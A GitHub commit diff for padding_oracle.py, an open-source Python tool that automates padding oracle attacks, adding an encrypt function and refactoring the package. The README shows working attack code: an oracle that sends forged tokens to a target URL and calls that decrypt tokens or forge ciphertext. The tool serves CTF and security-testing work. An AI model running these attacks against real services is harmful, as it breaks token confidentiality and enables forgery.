Skip to content

Commit 9c05a26

Browse files
authored
Merge pull request #5 from djosix/support-encryption
refactor: support encryption
2 parents 3977769 + 0a34ab1 commit 9c05a26

File tree

11 files changed

+466
-328
lines changed

11 files changed

+466
-328
lines changed

.github/workflows/python-package.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ jobs:
1616
strategy:
1717
fail-fast: false
1818
matrix:
19-
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
19+
python-version: ["3.10", "3.11", "3.12"]
2020

2121
steps:
2222
- uses: actions/checkout@v3

README.md

Lines changed: 78 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -1,82 +1,111 @@
1-
# Padding Oracle Python Automation Script
1+
# Padding Oracle Automation in Python
22

3-
![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
3+
![Python Package Badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
44

5-
The padding_oracle.py is a highly efficient, threaded [padding oracle](https://en.wikipedia.org/wiki/Padding_oracle_attack) attack automation script, specifically developed for Python 3.
5+
This script automates padding oracle attacks in Python, offering efficient and threaded execution.
66

77
## Installation
88

9-
You can install the package using either PyPI or directly from GitHub:
9+
You can install the script using one of these methods:
1010

11-
**Via PyPI:**
12-
```shell
13-
pip3 install -U padding_oracle
14-
```
11+
- **Via PyPI:**
12+
```shell
13+
pip3 install -U padding_oracle
14+
```
1515

16-
**Via GitHub:**
17-
```shell
18-
pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
19-
```
16+
- **Directly from GitHub:**
17+
```shell
18+
pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
19+
```
20+
21+
## Performance
2022

21-
## Performance Metrics
23+
The script's performance varies depending on the number of request threads. This was tested in a CTF web challenge:
2224

23-
Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from EDU-CTF:
25+
| Request Threads | Time Taken |
26+
|-----------------|-------------|
27+
| 1 | 17m 43s |
28+
| 4 | 5m 23s |
29+
| 16 | 1m 20s |
30+
| 64 | 56s |
2431

25-
| Number of Request Threads | Time Taken |
26-
|-----------------|----------------|
27-
| 1 | 17m 43s |
28-
| 4 | 5m 23s |
29-
| 16 | 1m 20s |
30-
| 64 | 56s |
32+
## Usage
3133

32-
## How to Use
34+
### Decryption
3335

34-
To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
36+
When trying to decrypt a token like the one at `https://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`, this script assumes that the token is vulnerable to a padding oracle attack.
3537

3638
```python
37-
from padding_oracle import padding_oracle, base64_encode, base64_decode
39+
from padding_oracle import decrypt, base64_encode, base64_decode
3840
import requests
3941

40-
sess = requests.Session() # use connection pool
41-
url = 'https://vulnerable.website/api/'
42+
sess = requests.Session() # Uses connection pooling
43+
url = 'https://example.com/api/'
4244

4345
def oracle(ciphertext: bytes):
44-
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
45-
46-
if 'failed' in resp.text:
47-
return False # e.g. token decryption failed
48-
elif 'success' in resp.text:
46+
response = sess.get(url, params={'token': base64_encode(ciphertext)})
47+
if 'failed' in response.text:
48+
return False # Token decryption failed
49+
elif 'success' in response.text:
4950
return True
5051
else:
51-
raise RuntimeError('unexpected behavior')
52-
53-
ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
54-
# len(ciphertext) is 32
55-
# possibly be "IV + cipher block" if block size is 16
52+
raise RuntimeError('Unexpected behavior')
5653

54+
ciphertext = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
5755
assert len(ciphertext) % 16 == 0
5856

59-
plaintext = padding_oracle(
57+
plaintext = decrypt(
6058
ciphertext,
61-
block_size = 16,
62-
oracle = oracle,
63-
num_threads = 16,
59+
block_size=16,
60+
oracle=oracle,
61+
num_threads=16,
6462
)
6563
```
6664

67-
In addition, the package provides PHP-like encoding/decoding functions:
65+
### Encryption
66+
67+
Below is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer to [this Pull Request](https://github.com/djosix/padding_oracle.py/pull/4). Keep in mind that, unlike the decryption process, this functionality cannot be parallelized.
6868

6969
```python
70-
from padding_oracle.encoding import (
71-
urlencode,
72-
urldecode,
73-
base64_encode,
74-
base64_decode,
75-
)
70+
from padding_oracle import encrypt
71+
72+
ciphertext = encrypt(b'YourTextHere', block_size=16, oracle=oracle)
7673
```
7774

78-
## License
75+
### Customized Logging
76+
77+
Both `encrypt` and `decrypt` allow user to inject a custom logger:
7978

80-
Padding Oracle Python Automation Script is distributed under the terms of the MIT license.
79+
- **Disable Logging:**
80+
```python
81+
from padding_oracle import nop_logger
82+
83+
plaintext = decrypt(
84+
...
85+
logger=nop_logger,
86+
)
87+
```
88+
89+
- **Selective Logging:**
90+
```python
91+
def logger(kind: str, message: str):
92+
if kind in ('oracle_error', 'solve_block_error'):
93+
print(f'[{kind}] {message}')
94+
95+
plaintext = decrypt(
96+
...
97+
logger=logger,
98+
)
99+
```
100+
101+
### Extras
102+
103+
The script also includes PHP-like encoding and decoding functions:
104+
105+
```python
106+
from padding_oracle.encoding import urlencode, urldecode, base64_encode, base64_decode
107+
```
108+
109+
## License
81110

82-
<!-- PiuPiuPiu -->
111+
This script is distributed under the MIT license.

pyproject.toml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,13 @@ build-backend = "hatchling.build"
44

55
[project]
66
name = "padding_oracle"
7-
version = "0.3.2"
7+
version = "0.4.0"
88
authors = [
99
{ name="Yuankui Li", email="[email protected]" },
1010
]
1111
description = "Threaded padding oracle automation."
1212
readme = "README.md"
13-
requires-python = ">=3.7"
13+
requires-python = ">=3.10"
1414
classifiers = [
1515
'Programming Language :: Python :: 3',
1616
'License :: OSI Approved :: MIT License',

src/padding_oracle/__init__.py

Lines changed: 28 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
'''
2-
Copyright (c) 2022 Yuankui Li
2+
Copyright (c) 2023 Yuankui Li
33
44
Permission is hereby granted, free of charge, to any person obtaining a copy
55
of this software and associated documentation files (the "Software"), to deal
@@ -20,23 +20,36 @@
2020
SOFTWARE.
2121
'''
2222

23-
from .solve import solve, convert_to_bytes, remove_padding
24-
from .encoding import (
25-
urlencode, urldecode,
26-
base64_encode, base64_decode,
27-
to_bytes, to_str,
23+
from .padding_oracle import (
24+
decrypt,
25+
encrypt,
2826
)
29-
from .legacy import padding_oracle
27+
from .utils import (
28+
to_bytes,
29+
to_str,
30+
base64_encode,
31+
base64_decode,
32+
urlencode,
33+
urldecode,
34+
remove_padding,
35+
add_padding,
36+
)
37+
from .logger import Logger, default_logger, nop_logger
38+
from .solve import solve
3039

3140
__all__ = [
32-
'solve',
33-
'convert_to_bytes',
34-
'remove_padding',
35-
'padding_oracle',
36-
'urlencode',
37-
'urldecode',
38-
'base64_encode',
39-
'base64_decode',
41+
'decrypt',
42+
'encrypt',
4043
'to_bytes',
4144
'to_str',
45+
'base64_encode',
46+
'base64_decode',
47+
'urlencode',
48+
'urldecode',
49+
'remove_padding',
50+
'add_padding',
51+
'solve',
52+
'Logger',
53+
'default_logger',
54+
'nop_logger',
4255
]

src/padding_oracle/legacy.py

Lines changed: 0 additions & 124 deletions
This file was deleted.

0 commit comments

Comments
 (0)